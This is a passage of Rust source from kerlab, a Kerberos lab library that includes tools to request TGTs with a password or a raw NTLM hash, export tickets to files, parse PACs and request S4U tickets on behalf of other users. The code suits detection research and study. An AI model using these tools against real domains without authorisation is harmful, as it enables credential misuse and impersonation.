to_der, GeneralString, SInteger}; 2 | use error::{KerlabResult}; 3 | use base::{KerberosTime, PrincipalName, Realm}; 4 | use yasna::{DERWriter, BERReader}; 5 | use chrono::{Utc}; 6 | use encryption::{EncryptionKey, KeyUsage}; 7 | use checksum::{Checksum, kerberos_hmac_md5}; 8 | use std::str::FromStr; 9 | 10 | #[repr(u32)] 11 | pub enum PaDataType { 12 | PaTgsReq = 1, 13 | PaEncTimestamp = 2, 14 | PaPwSalt = 3, 15 | PaEncUnixTime = 5, 16 | PaSandiaSecureid = 6, 17 | PaSesame = 7, 18 | PaOsfDce = 8, 19 | PaCybersafeSecureid = 9, 20 | PaAfs3Salt = 10, 21 | PaEtypeInfo = 11, 22 | PaSamChallenge = 12, 23 | PaSamResponse = 13, 24 | PaPkAsReqOld = 14, 25 | PaPkAsRepOld = 15, 26 | PaPkAsReq = 16, 27 | PaPkAsRep = 17, 28 | PaEtypeInfo2 = 19, 29 | PaSvrReferralInfo = 20, 30 | //PaUseSpecifiedKvno = 20, 31 | PaSamRedirect = 21, 32 | PaGetFromTypedData = 22, 33 | //TdPadata = 22, 34 | PaSamEtypeInfo = 23, 35 | PaAltPrinc = 24, 36 | PaSamChallenge2 = 30, 37 | PaSamResponse2 = 31, 38 | PaExtraTgt = 41, 39 | TdPkinitCmsCertificates = 101, 40 | TdKrbPrincipal = 102, 41 | TdKrbRealm = 103, 42 | TdTrustedCertifiers = 104, 43 | TdCertificateIndex = 105, 44 | TdAppDefinedError = 106, 45 | TdReqNonce = 107, 46 | TdReqSeq = 108, 47 | PaPacRequest = 128, 48 | PaForUser = 129, 49 | PaFxCookie = 133, 50 | PaFxFast = 136, 51 | PaFxError = 137, 52 | PaEncryptedChallenge = 138, 53 | KerbKeyListReq = 161, 54 | KerbKeyListRep = 162, 55 | PaSupportedEnctypes = 165, 56 | PaPacOptions = 167 57 | } 58 | 59 | 60 | /// @see https://www.freesoft.org/CIE/RFC/1510/55.htm 61 | /// ```asn1 62 | /// PA-DATA ::= SEQUENCE { 63 | /// padata-type[1] INTEGER, 64 | /// padata-value[2] OCTET STRING, 65 | /// -- might be encoded AP-REQ 66 | /// } 67 | /// ``` 68 | #[derive(Sequence, PartialEq, Clone, Default)] 69 | pub struct PaData { 70 | pub padata_type: Tag<1, Integer>, 71 | pub padata_value: Tag<2, OctetString> 72 | } 73 | 74 | impl PaData { 75 | pub fn new(patype: PaDataType, pavalue: &dyn ASN1) -> Self { 76 | Self { 77 | padata_type: Tag::new(patype as Integer), 78 | padata_value: Tag::new(to_der(pavalue)) 79 | } 80 | } 81 | 82 | /// Use to format an enc timestamp use in pre authentication 83 | pub fn pa_enc_timestamp(key: &EncryptionKey) -> KerlabResult { 84 | Ok(PaData::new( 85 | PaDataType::PaEncTimestamp, 86 | &key.encrypt( 87 | KeyUsage::KeyUsageAsReqTimestamp, 88 | &PaEncTsEnc::now())? 89 | ) 90 | ) 91 | } 92 | 93 | /// use in S4u protocol extension 94 | pub fn pa_for_user(user_name: PrincipalName, user_realm: Realm, key: &EncryptionKey) -> KerlabResult{ 95 | Ok(PaData::new( 96 | PaDataType::PaForUser, 97 | &PaForUser::new( 98 | user_name, 99 | user_realm, 100 | key 101 | )? 102 | ) 103 | ) 104 | } 105 | } 106 | 107 | /// @see https://www.freesoft.org/CIE/RFC/1510/55.htm 108 | /// ```asn1 109 | /// PA-ENC-TS-ENC ::= SEQUENCE { 110 | /// patimestamp[0] KerberosTime, -- client's time 111 | /// pausec[1] INTEGER OPTIONAL 112 | /// } 113 | /// ``` 114 | #[derive(Sequence, PartialEq, Default)] 115 | pub struct PaEncTsEnc { 116 | pub patimestamp: Tag<0, KerberosTime>, 117 | pub pausec: Option> 118 | } 119 | 120 | impl PaEncTsEnc { 121 | pub fn now() -> Self { 122 | Self { 123 | patimestamp: Tag::new(KerberosTime::new( Utc::now())), 124 | pausec: None 125 | } 126 | } 127 | } 128 | 129 | /// @see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/aceb70de-40f0-4409-87fa-df00ca145f5a 130 | /// ```asn.1 131 | /// PA-FOR-USER ::= SEQUENCE { 132 | /// -- PA TYPE 129 133 | /// userName [0] PrincipalName, 134 | /// userRealm [1] Realm, 135 | /// cksum [2] Checksum, 136 | /// auth-package [3] KerberosString 137 | /// } 138 | /// ``` 139 | #[derive(Sequence, PartialEq, Default)] 140 | pub struct PaForUser { 141 | user_name: Tag<0, PrincipalName>, 142 | user_realm: Tag<1, Realm>, 143 | cksum: Tag<2, Checksum>, 144 | auth_package: Tag<3, GeneralString> 145 | } 146 | 147 | impl PaForUser { 148 | pub fn new(user_name: PrincipalName, user_realm: Realm, key: &EncryptionKey) -> KerlabResult { 149 | 150 | let package = "Kerberos"; 151 | // compute checksum 152 | let mut data = vec![]; 153 | data.extend_from_slice(&user_name.name_type.inner.to_le_bytes()); 154 | for s in &user_name.name_string.inner { 155 | data.extend_from_slice(s.as_bytes()); 156 | } 157 | data.extend_from_slice(user_realm.as_bytes()); 158 | data.extend_from_slice(package.as_bytes()); 159 | 160 | Ok(Self { 161 | user_name: Tag::new(user_name), 162 | user_realm: Tag::new(user_realm), 163 | cksum: Tag::new(Checksum::new( 164 | -138 as SInteger, 165 | kerberos_hmac_md5(&key.keyvalue.inner, 17, &data) 166 | )), 167 | auth_package: Tag::new(GeneralString::from_str(package)?) 168 | }) 169 | } 170 | } -------------------------------------------------------------------------------- /src/krbcred.rs: -------------------------------------------------------------------------------- 1 | use asn1::{Tag, SequenceOf, Integer, Application, ASN1}; 2 | use yasna::{BERReader, DERWriter}; 3 | use encryption::{EncryptionKey, KeyUsage}; 4 | use base::{Realm, PrincipalName, TicketFlags, KerberosTime, HostAddresses, HostAddress, MessageType}; 5 | use ticket::Ticket; 6 | use encryption::{EncryptedData}; 7 | use error::KerlabResult; 8 | use krbkdcrep::{EncKDCRepPart}; 9 | 10 | /// @see https://www.freesoft.org/CIE/RFC/1510/66.htm 11 | /// ```asn.1 12 | /// KrbCredInfo ::= SEQUENCE { 13 | /// key[0] EncryptionKey, 14 | /// prealm[1] Realm OPTIONAL, 15 | /// pname[2] PrincipalName OPTIONAL, 16 | /// flags[3] TicketFlags OPTIONAL, 17 | /// authtime[4] KerberosTime OPTIONAL, 18 | /// starttime[5] KerberosTime OPTIONAL, 19 | /// endtime[6] KerberosTime OPTIONAL 20 | /// renew-till[7] KerberosTime OPTIONAL, 21 | /// srealm[8] Realm OPTIONAL, 22 | /// sname[9] PrincipalName OPTIONAL, 23 | /// caddr[10] HostAddresses OPTIONAL 24 | /// } 25 | /// ``` 26 | #[derive(Sequence, Default, PartialEq, Clone)] 27 | pub struct KrbCredInfo { 28 | pub key: Tag<0, EncryptionKey>, 29 | pub prealm: Option>, 30 | pub pname: Option>, 31 | pub flags: Option>, 32 | pub authtime: Option>, 33 | pub starttime: Option>, 34 | pub endtime: Option>, 35 | pub renew_till: Option>, 36 | pub srealm: Option>, 37 | pub sname: Option>, 38 | pub caddr: Option> 39 | } 40 | 41 | impl KrbCredInfo { 42 | /// constructor 43 | fn new(name: PrincipalName, dec: EncKDCRepPart) -> Self { 44 | Self { 45 | key: Tag::new(dec.key.inner.clone()), 46 | prealm: Some(Tag::new(dec.srealm.inner.clone())), 47 | pname: Some(Tag::new(name)), 48 | flags: None, 49 | authtime: Some(Tag::new(dec.authtime.inner)), 50 | starttime: if let Some(e) = dec.starttime { 51 | Some(Tag::new(e.inner)) 52 | } else { 53 | None 54 | }, 55 | endtime: Some(Tag::new(dec.endtime.inner.clone())), 56 | renew_till: if let Some(e) = dec.renew_till { 57 | Some(Tag::new(e.inner)) 58 | } else { 59 | None 60 | }, 61 | srealm: Some(Tag::new(dec.srealm.inner.clone())), 62 | sname: Some(Tag::new(dec.sname.inner.clone())), 63 | caddr: None 64 | } 65 | } 66 | } 67 | 68 | /// @see https://www.freesoft.org/CIE/RFC/1510/66.htm 69 | /// ```asn.1 70 | /// EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { 71 | /// ticket-info[0] SEQUENCE OF KrbCredInfo, 72 | /// nonce[1] INTEGER OPTIONAL, 73 | /// timestamp[2] KerberosTime OPTIONAL, 74 | /// usec[3] INTEGER OPTIONAL, 75 | /// s-address[4] HostAddress OPTIONAL, 76 | /// r-address[5] HostAddress OPTIONAL 77 | /// } 78 | /// ``` 79 | #[derive(Sequence, Default, PartialEq, Clone)] 80 | pub struct EncKrbCredPartBody { 81 | pub ticket_info: Tag<0, SequenceOf>, 82 | pub nonce: Option>, 83 | pub timestamp: Option>, 84 | pub usec: Option>, 85 | pub s_address: Option>, 86 | pub r_address: Option> 87 | } 88 | 89 | pub type EncKrbCredPart = Application<29, EncKrbCredPartBody>; 90 | 91 | /// 92 | /// ```asn.1 93 | /// KRB-CRED ::= [APPLICATION 22] SEQUENCE { 94 | /// pvno[0] INTEGER, 95 | /// msg-type[1] INTEGER, -- KRB_CRED 96 | /// tickets[2] SEQUENCE OF Ticket, 97 | /// enc-part[3] EncryptedData 98 | /// } 99 | /// ``` 100 | #[derive(Sequence, Default, PartialEq, Clone)] 101 | pub struct KrbCredBody { 102 | pub pvno: Tag<0, Integer>, 103 | pub msg_ticket: Tag<1, Integer>, 104 | pub tickets: Tag<2, SequenceOf>, 105 | pub enc_part: Tag<3, EncryptedData> 106 | } 107 | 108 | pub type KrbCred = Application<22, KrbCredBody>; 109 | 110 | impl KrbCred { 111 | /// constructor 112 | pub fn new(name: PrincipalName, ticket: Ticket, enc_part: EncKDCRepPart) -> KerlabResult { 113 | // create a null encryption key to store sensible data ! 114 | let key = EncryptionKey::new_no_encryption(); 115 | Ok(Self { 116 | inner: KrbCredBody { 117 | pvno: Tag::new(5 as Integer), 118 | msg_ticket: Tag::new(MessageType::KrbCred as Integer), 119 | tickets: Tag::new(vec![ 120 | ticket 121 | ]), 122 | enc_part: Tag::new( 123 | key.encrypt( 124 | KeyUsage::KeyUsageAsRepEncPart, 125 | &EncKrbCredPart { 126 | inner: EncKrbCredPartBody { 127 | ticket_info: Tag::new(vec![ 128 | KrbCredInfo::new(name, enc_part) 129 | ]), 130 | nonce: None, 131 | timestamp: None, 132 | usec: None, 133 | s_address: None, 134 | r_address: None 135 | } 136 | } 137 | )? 138 | ) 139 | }, 140 | }) 141 | } 142 | } -------------------------------------------------------------------------------- /src/bin/kerasktgt.rs: -------------------------------------------------------------------------------- 1 | extern crate kerlab; 2 | extern crate clap; 3 | 4 | use kerlab::krbkdcreq::{AsReq, KdcOptionsType}; 5 | use kerlab::asn1::to_der; 6 | use std::io::{Write}; 7 | use kerlab::display::{Display, Formatter}; 8 | use kerlab::request::{KrbResponse, TcpRequest}; 9 | use kerlab::krbkdcrep::{AsRep, EncASRepPart}; 10 | use clap::{App, Arg}; 11 | use kerlab::encryption::{KeyUsage, EncryptionKey}; 12 | use std::fs::File; 13 | use kerlab::krbcred::KrbCred; 14 | 15 | const APPLICATION_NAME: &str = "kerasktgt"; 16 | 17 | 18 | fn main() { 19 | 20 | let matches = App::new(APPLICATION_NAME) 21 | .version("0.1.0") 22 | .author("Sylvain Peyrefitte ") 23 | .about("Kerberos Lab for Fun and Detection") 24 | .arg(Arg::with_name("dc") 25 | .long("dc") 26 | .takes_value(true) 27 | .help("host IP of the Domain Controller")) 28 | .arg(Arg::with_name("port") 29 | .long("port") 30 | .takes_value(true) 31 | .default_value("88") 32 | .help("Domain Controller Kerberos port")) 33 | .arg(Arg::with_name("domain") 34 | .long("domain") 35 | .takes_value(true) 36 | .help("Windows Domain")) 37 | .arg(Arg::with_name("username") 38 | .long("username") 39 | .takes_value(true) 40 | .help("Username of TGT")) 41 | .arg(Arg::with_name("password") 42 | .long("password") 43 | .takes_value(true) 44 | .help("Username password")) 45 | .arg(Arg::with_name("ntlm") 46 | .long("ntlm") 47 | .takes_value(true) 48 | .help("NTLM hash for RC4 encryption")) 49 | .arg(Arg::with_name("outfile") 50 | .long("outfile") 51 | .takes_value(true) 52 | .help("Output file path")) 53 | .arg(Arg::with_name("forwardable") 54 | .long("forwardable") 55 | .help("Ask for a forwardable ticket")) 56 | .arg(Arg::with_name("renewable") 57 | .long("renewable") 58 | .help("Ask for a renewable ticket")) 59 | .get_matches(); 60 | 61 | let ip = matches.value_of("dc").expect("You need to provide a dc argument"); 62 | let port = matches.value_of("port").unwrap_or_default(); 63 | 64 | // compute options 65 | let mut options = vec![]; 66 | if matches.is_present("renewable") { 67 | options.push(KdcOptionsType::Renewable); 68 | options.push(KdcOptionsType::RenewableOk); 69 | } 70 | 71 | if matches.is_present("forwardable") { 72 | options.push(KdcOptionsType::Forwardable); 73 | } 74 | 75 | // create request 76 | let mut tgt_request = AsReq::new( 77 | matches.value_of("domain").unwrap(), 78 | matches.value_of("username").unwrap(), 79 | &options, 80 | ).unwrap(); 81 | 82 | if let Some(password) = matches.value_of("password") { 83 | tgt_request = tgt_request.with_preauth( 84 | &EncryptionKey::new_rc4_hmac(password).unwrap() 85 | ).unwrap() 86 | } 87 | 88 | if let Some(ntlm) = matches.value_of("ntlm") { 89 | tgt_request = tgt_request.with_preauth( 90 | &EncryptionKey::new_rc4_hmac_from_hash(hex::decode(ntlm).unwrap()).unwrap() 91 | ).unwrap() 92 | } 93 | 94 | println!("**************************************************"); 95 | println!("AS-REQ ::="); 96 | tgt_request.format(&mut Formatter::new()); 97 | 98 | let tgt_response = TcpRequest::ask_for::(&tgt_request, format!("{}:{}", ip, port)).unwrap(); 99 | 100 | match tgt_response { 101 | KrbResponse::Error(error) => { 102 | println!("**************************************************"); 103 | println!("KRB-ERROR ::="); 104 | error.format(&mut Formatter::new()); 105 | } 106 | KrbResponse::Response(response) => { 107 | println!("**************************************************"); 108 | println!("AS-REP ::="); 109 | response.format(&mut Formatter::new()); 110 | 111 | let mut key : Option = None; 112 | if let Some(password) = matches.value_of("password") { 113 | key = Some(EncryptionKey::new_rc4_hmac(password).unwrap()); 114 | } 115 | if let Some(ntlm) = matches.value_of("ntlm") { 116 | key = Some(EncryptionKey::new_rc4_hmac_from_hash(hex::decode(ntlm).unwrap()).unwrap()); 117 | } 118 | 119 | if let Some(key) = key { 120 | println!("**************************************************"); 121 | println!("Decrypting the KDC-REP.enc-part with the user password"); 122 | let enc_part = key.decrypt::( 123 | KeyUsage::KeyUsageAsRepEncPart, 124 | &response.enc_part 125 | ).unwrap(); 126 | 127 | enc_part.format(&mut Formatter::new()); 128 | 129 | if let Some(path) = matches.value_of("outfile") { 130 | let mut file = File::create(path).unwrap(); 131 | let credentials = KrbCred::new( 132 | response.cname.inner.clone(), 133 | response.ticket.inner.clone(), 134 | enc_part.inner 135 | ).unwrap(); 136 | file.write_all(&to_der(&credentials)).unwrap(); 137 | 138 | println!("**************************************************"); 139 | println!("Saving KRB-CRED in {}", path); 140 | } 141 | } 142 | } 143 | } 144 | println!("**************************************************"); 145 | } -------------------------------------------------------------------------------- /src/bin/kerasktgs.rs: -------------------------------------------------------------------------------- 1 | extern crate kerlab; 2 | extern crate clap; 3 | 4 | use std::fs; 5 | use clap::{App, Arg}; 6 | use kerlab::krbap::ApReq; 7 | use kerlab::asn1::{from_ber, GeneralString, to_der}; 8 | use kerlab::krbcred::{KrbCred, EncKrbCredPart}; 9 | use kerlab::encryption::{KeyUsage, EncryptionKey}; 10 | use kerlab::authenticator::Authenticator; 11 | use kerlab::base::{PrincipalName, PrincipalNameType}; 12 | use kerlab::krbkdcreq::{TgsReq, KdcOptionsType}; 13 | use kerlab::request::{TcpRequest, KrbResponse}; 14 | use kerlab::krbkdcrep::{TgsRep, EncTGSRepPart}; 15 | use kerlab::display::{Formatter, Display}; 16 | use std::str::FromStr; 17 | use std::fs::File; 18 | use std::io::{Write}; 19 | 20 | const APPLICATION_NAME: &str = "kerasktgs"; 21 | 22 | fn main() { 23 | let matches = App::new(APPLICATION_NAME) 24 | .version("0.1.0") 25 | .author("Sylvain Peyrefitte ") 26 | .about("Kerberos Lab for Fun and Detection") 27 | .arg(Arg::with_name("dc") 28 | .long("dc") 29 | .takes_value(true) 30 | .help("host IP of the Domain Controller")) 31 | .arg(Arg::with_name("port") 32 | .long("port") 33 | .takes_value(true) 34 | .default_value("88") 35 | .help("Domain Controller Kerberos port")) 36 | .arg(Arg::with_name("ticket") 37 | .long("ticket") 38 | .takes_value(true) 39 | .help("TGT recorded using kerasktgt")) 40 | .arg(Arg::with_name("service") 41 | .long("service") 42 | .takes_value(true) 43 | .help("Name of the service")) 44 | .arg(Arg::with_name("outfile") 45 | .long("outfile") 46 | .takes_value(true) 47 | .help("Output file path")) 48 | .arg(Arg::with_name("forwardable") 49 | .long("forwardable") 50 | .help("Ask for a forwardable ticket")) 51 | .arg(Arg::with_name("forwarded") 52 | .long("forwarded") 53 | .help("Ask for a forwarded ticket")) 54 | .arg(Arg::with_name("renewable") 55 | .long("renewable") 56 | .help("Ask for a renewable ticket")) 57 | .arg(Arg::with_name("s4u") 58 | .long("s4u") 59 | .takes_value(true) 60 | .help("Ask for a service ticket in place of this user")) 61 | .arg(Arg::with_name("s4u-realm") 62 | .long("s4u-realm") 63 | .takes_value(true) 64 | .help("Ask for a service ticket in place of this user")) 65 | .get_matches(); 66 | 67 | let ip = matches.value_of("dc").expect("You need to provide the dc argument"); 68 | let port = matches.value_of("port").unwrap_or_default(); 69 | 70 | // compute options 71 | let mut options = vec![]; 72 | 73 | if matches.is_present("renewable") { 74 | options.push(KdcOptionsType::Renewable); 75 | options.push(KdcOptionsType::RenewableOk); 76 | } 77 | 78 | if matches.is_present("forwardable") { 79 | options.push(KdcOptionsType::Forwardable); 80 | } 81 | 82 | if matches.is_present("forwarded") { 83 | options.push(KdcOptionsType::Forwarded); 84 | } 85 | 86 | // load ticket info from tgt 87 | let contents = fs::read( 88 | matches.value_of("ticket") 89 | .expect("ticket argument is mandatory") 90 | ).unwrap(); 91 | 92 | let mut tgt = KrbCred::default(); 93 | from_ber(&mut tgt, &contents).unwrap(); 94 | 95 | // retrieve session key from TGT 96 | let mut krb_cred = EncryptionKey::new_no_encryption().decrypt::( 97 | KeyUsage::KeyUsageAsRepEncPart, 98 | &tgt.inner.enc_part.inner, 99 | ).unwrap(); 100 | 101 | let ticket_info = krb_cred.ticket_info.pop() 102 | .expect("There is no ticket info in the recorded TGT"); 103 | 104 | let domain = ticket_info.prealm.expect("Unable to found realm in TGT").inner; 105 | let principal_name = ticket_info.pname.expect("Unable to found principal name in TGT").inner; 106 | let authenticator = Authenticator::new( 107 | domain.clone(), 108 | principal_name.clone(), 109 | ); 110 | 111 | let encrypted_authenticator = ticket_info.key.encrypt( 112 | KeyUsage::KrbKeyUsageTgsReqPaAuthenticator, 113 | &authenticator, 114 | ).expect("Something go wrong during encryption of authenticator"); 115 | 116 | // if s4u i ask a ticket that target me as sname 117 | let sname = if matches.is_present("s4u") { 118 | principal_name.clone() 119 | } else { 120 | let mut service_name_builder = PrincipalName::new( 121 | PrincipalNameType::NtSrvInst, 122 | vec![], 123 | ); 124 | // compute service name 125 | let service_path = matches.value_of("service").expect("service arg is mandatory"); 126 | for part in service_path.split("/") { 127 | service_name_builder.name_string.push( 128 | GeneralString::from_str(part).unwrap() 129 | ) 130 | } 131 | service_name_builder 132 | }; 133 | 134 | 135 | // create TGS request 136 | let mut tgs_request = TgsReq::new( 137 | domain.as_str(), 138 | principal_name.name_string.inner 139 | .get(0).expect("Unable to find username in the ticket").as_str(), 140 | sname, 141 | &ApReq::new( 142 | tgt.inner.tickets.inner.pop().unwrap(), 143 | encrypted_authenticator, 144 | ), 145 | &options, 146 | ).unwrap(); 147 | 148 | if let Some(s4u) = matches.value_of("s4u") { 149 | tgs_request = tgs_request.for_user( 150 | PrincipalName::new( 151 | PrincipalNameType::NtPrincipal, 152 | vec![ 153 | GeneralString::from_str(s4u).unwrap() 154 | ], 155 | ), 156 | domain, 157 | &ticket_info.key.inner, 158 | ).unwrap(); 159 | } 160 | 161 | println!("**************************************************"); 162 | println!("TGS-REQ ::="); 163 | tgs_request.format(&mut Formatter::new()); 164 | 165 | let tgs_response = TcpRequest::ask_for::( 166 | &tgs_request, 167 | format!("{}:{}", ip, port), 168 | ).unwrap(); 169 | 170 | match tgs_response { 171 | KrbResponse::Error(error) => { 172 | println!("**************************************************"); 173 | println!("KRB-ERROR ::="); 174 | error.format(&mut Formatter::new()); 175 | } 176 | KrbResponse::Response(response) => { 177 | println!("**************************************************"); 178 | println!("TGS-REP ::="); 179 | response.format(&mut Formatter::new()); 180 | 181 | println!("**************************************************"); 182 | println!("Decrypting the KDC-REP.enc-part with session key"); 183 | let enc_part = ticket_info.key.inner.decrypt::( 184 | KeyUsage::KeyUsageAsRepEncPart, 185 | &response.inner.enc_part.inner, 186 | ).unwrap(); 187 | 188 | enc_part.format(&mut Formatter::new()); 189 | 190 | if let Some(path) = matches.value_of("outfile") { 191 | let mut file = File::create(path).unwrap(); 192 | let credentials = KrbCred::new( 193 | response.inner.cname.inner.clone(), 194 | response.inner.ticket.inner.clone(), 195 | enc_part.inner, 196 | ).unwrap(); 197 | file.write_all(&to_der(&credentials)).unwrap(); 198 | println!("Saving KRB-CRED in {}", path); 199 | } 200 | } 201 | } 202 | println!("**************************************************"); 203 | } -------------------------------------------------------------------------------- /src/pac.rs: -------------------------------------------------------------------------------- 1 | use std::io::{Read, Write, Cursor}; 2 | use byteorder::{LittleEndian, ReadBytesExt}; 3 | use error::{KerlabResult, KerlabErrorKind, Error}; 4 | use asn1::OctetString; 5 | use ndr::{FileTime, CommonTypeHeader, PrivateHeader, RpcUnicodeString}; 6 | use message::{Message, U32LE}; 7 | 8 | fn read_utf16(buf: &[u8]) -> KerlabResult { 9 | let mut cursor = Cursor::new(buf); 10 | let mut raw = vec![]; 11 | for _ in 0..buf.len() / 2 { 12 | raw.push(cursor.read_u16::()?); 13 | } 14 | Ok( 15 | String::from_utf16(&raw) 16 | .map_err(|_| Error::new(KerlabErrorKind::Parsing, "utf16"))? 17 | ) 18 | 19 | } 20 | 21 | pub trait ReadFromCursor { 22 | fn read(&mut self, cursor: &mut Cursor) -> KerlabResult<()>; 23 | } 24 | 25 | /// PAC_INFO_BUFFER 26 | /// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/3341cfa2-6ef5-42e0-b7bc-4544884bf399 27 | pub struct PacInfoBuffer { 28 | ul_type: u32, 29 | cb_buffer_size: u32, 30 | offset: u64 31 | } 32 | 33 | impl PacInfoBuffer { 34 | pub fn into_pac_struct(&self, buffer: &[u8]) -> KerlabResult { 35 | let view = &buffer[self.offset as usize..self.offset as usize + self.cb_buffer_size as usize]; 36 | match self.ul_type { 37 | 0x00000001 => Ok(PacStruct::KerbValidationInfo(KerbValidationInfo::from(view)?)), 38 | 0x00000006 => Ok(PacStruct::ServerChecksum(PacSignatureData::from(view)?)), 39 | 0x00000007 => Ok(PacStruct::KDCChecksum(PacSignatureData::from(view)?)), 40 | 0x0000000A => Ok(PacStruct::PacClientInfo(PacClientInfo::from(view)?)), 41 | 0x0000000C => Ok(PacStruct::UpnDnsInfo(UpnDnsInfo::from(view)?)), 42 | _ => Err(Error::new(KerlabErrorKind::Parsing, &format!("Unimplemented PacDataType {}", self.ul_type))) 43 | } 44 | } 45 | } 46 | 47 | impl> ReadFromCursor for PacInfoBuffer { 48 | fn read(&mut self, cursor: &mut Cursor) -> KerlabResult<()> { 49 | self.ul_type = cursor.read_u32::()?; 50 | self.cb_buffer_size = cursor.read_u32::()?; 51 | self.offset = cursor.read_u64::()?; 52 | Ok(()) 53 | } 54 | } 55 | 56 | impl Default for PacInfoBuffer { 57 | fn default() -> Self { 58 | Self { 59 | ul_type: 0, 60 | cb_buffer_size: 0, 61 | offset: 0 62 | } 63 | } 64 | } 65 | 66 | /// PAC header fields 67 | /// PACTYPE 68 | /// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/6655b92f-ab06-490b-845d-037e6987275f 69 | pub struct PacType { 70 | pub c_buffers: u32, 71 | pub version: u32, 72 | pub buffers: Vec, 73 | } 74 | 75 | impl PacType { 76 | /// Read pactype fields 77 | pub fn from_addata(buffer: OctetString) -> KerlabResult { 78 | let mut cursor = Cursor::new(&buffer); 79 | let c_buffers = cursor.read_u32::()?; 80 | let version = cursor.read_u32::()?; 81 | let mut buffers = vec![]; 82 | for _ in 0..c_buffers { 83 | let mut pac_info = PacInfoBuffer::default(); 84 | pac_info.read(&mut cursor)?; 85 | buffers.push(pac_info.into_pac_struct(&buffer)?); 86 | } 87 | Ok(Self { 88 | c_buffers, 89 | version, 90 | buffers 91 | }) 92 | } 93 | } 94 | 95 | /// This is the most import information 96 | /// It use RPC marshalling it's partially implemented in kerlab 97 | /// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/69e86ccc-85e3-41b9-b514-7d969cd0ed73 98 | #[derive(Component, Default)] 99 | pub struct KerbValidationInfo { 100 | pub common_header: CommonTypeHeader, 101 | pub private_header: PrivateHeader, 102 | pub padding: U32LE, 103 | pub logon_time: FileTime, 104 | pub logoff_time: FileTime, 105 | pub kick_off_time: FileTime, 106 | pub password_last_set: FileTime, 107 | pub password_can_change: FileTime, 108 | pub password_must_change: FileTime, 109 | pub effective_name: RpcUnicodeString, 110 | /*pub full_name: RpcUnicodeString, 111 | pub logon_scripts: RpcUnicodeString, 112 | pub profile_path: RpcUnicodeString, 113 | pub home_directory: RpcUnicodeString, 114 | pub home_directory_drive: RpcUnicodeString, 115 | pub logon_count: u16, 116 | pub bad_password_count: u16,*/ 117 | } 118 | 119 | impl KerbValidationInfo { 120 | fn from(buf: &[u8]) -> KerlabResult { 121 | let mut cursor = Cursor::new(buf); 122 | let mut result = KerbValidationInfo::default(); 123 | result.read(&mut cursor)?; 124 | Ok(result) 125 | } 126 | } 127 | 128 | /// PAC client information 129 | /// @see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/e465cb27-4bc1-4173-8be0-b5fd64dc9ff7 130 | #[derive(Default)] 131 | pub struct PacClientInfo { 132 | pub client_id: FileTime, 133 | name_length: u16, 134 | pub name: String 135 | } 136 | 137 | impl PacClientInfo { 138 | fn from(buf: &[u8]) -> KerlabResult { 139 | let mut cursor = Cursor::new(buf); 140 | let mut result = PacClientInfo::default(); 141 | result.client_id.read(&mut cursor)?; 142 | result.name_length = cursor.read_u16::()?; 143 | result.name = read_utf16(&buf[ 144 | cursor.position() as usize..(cursor.position() + result.name_length as u64) as usize 145 | ] 146 | )?; 147 | Ok(result) 148 | } 149 | } 150 | 151 | /// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/1c0d6e11-6443-4846-b744-f9f810a504eb 152 | #[derive(Default)] 153 | pub struct UpnDnsInfo { 154 | upn_length: u16, 155 | upn_offset: u16, 156 | dns_domain_name_length: u16, 157 | dns_domain_name_offset: u16, 158 | flags: u32, 159 | pub upn: String, 160 | pub dns: String 161 | } 162 | 163 | impl UpnDnsInfo { 164 | fn from(buf: &[u8]) -> KerlabResult { 165 | let mut cursor = Cursor::new(buf); 166 | let mut result = UpnDnsInfo::default(); 167 | 168 | result.upn_length = cursor.read_u16::()?; 169 | result.upn_offset = cursor.read_u16::()?; 170 | result.dns_domain_name_length = cursor.read_u16::()?; 171 | result.dns_domain_name_offset = cursor.read_u16::()?; 172 | result.flags = cursor.read_u32::()?; 173 | 174 | result.upn = read_utf16(&buf[result.upn_offset as usize..(result.upn_offset + result.upn_length) as usize])?; 175 | result.dns = read_utf16(&buf[result.dns_domain_name_offset as usize..(result.dns_domain_name_offset + result.dns_domain_name_length) as usize])?; 176 | Ok(result) 177 | } 178 | } 179 | 180 | /// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/6e95edd3-af93-41d4-8303-6c7955297315 181 | #[derive(Default)] 182 | pub struct PacSignatureData { 183 | pub signature_type: u32, 184 | pub signature: Vec, 185 | pub rodcidentifier: Option 186 | } 187 | 188 | impl PacSignatureData { 189 | fn from(buf: &[u8]) -> KerlabResult { 190 | let mut cursor = Cursor::new(buf); 191 | let mut result = PacSignatureData::default(); 192 | result.signature_type = cursor.read_u32::()?; 193 | match result.signature_type { 194 | 0xFFFFFF76 => result.signature = vec![0; 16], 195 | 0x0000000F => result.signature = vec![0; 12], 196 | 0x00000010 => result.signature = vec![0; 12], 197 | _ => return Err(Error::new(KerlabErrorKind::Unknown, &format!("Unknown checksum type {}", result.signature_type))) 198 | }; 199 | cursor.read(&mut result.signature)?; 200 | if cursor.position() != buf.len() as u64 { 201 | result.rodcidentifier = Some(cursor.read_u16::()?); 202 | } 203 | Ok(result) 204 | } 205 | } 206 | 207 | /// Generic PAC structure that encompass all structe handled by kerlab 208 | pub enum PacStruct { 209 | KerbValidationInfo(KerbValidationInfo), 210 | PacClientInfo(PacClientInfo), 211 | UpnDnsInfo(UpnDnsInfo), 212 | ServerChecksum(PacSignatureData), 213 | KDCChecksum(PacSignatureData) 214 | } -------------------------------------------------------------------------------- /src/krbkdcreq.rs: -------------------------------------------------------------------------------- 1 | /// This file is linked to https://www.freesoft.org/CIE/RFC/1510/55.htm 2 | 3 | use base::{PrincipalName, Realm, KerberosTime, HostAddresses, KDCOptions, PrincipalNameType, MessageType}; 4 | use yasna::{DERWriter, BERReader}; 5 | use asn1::{ASN1, Tag, Integer, SequenceOf, Application, GeneralString}; 6 | use error::{KerlabResult}; 7 | use encryption::{EncryptedData, EType, EncryptionKey}; 8 | use ticket::Ticket; 9 | use chrono::{Utc, Duration, DateTime}; 10 | use padata::{PaData, PaDataType}; 11 | use rnd::nonce; 12 | use std::str::FromStr; 13 | use krbap::ApReq; 14 | 15 | 16 | #[repr(u32)] 17 | #[derive(Copy, Clone)] 18 | pub enum KdcOptionsType { 19 | Validate = 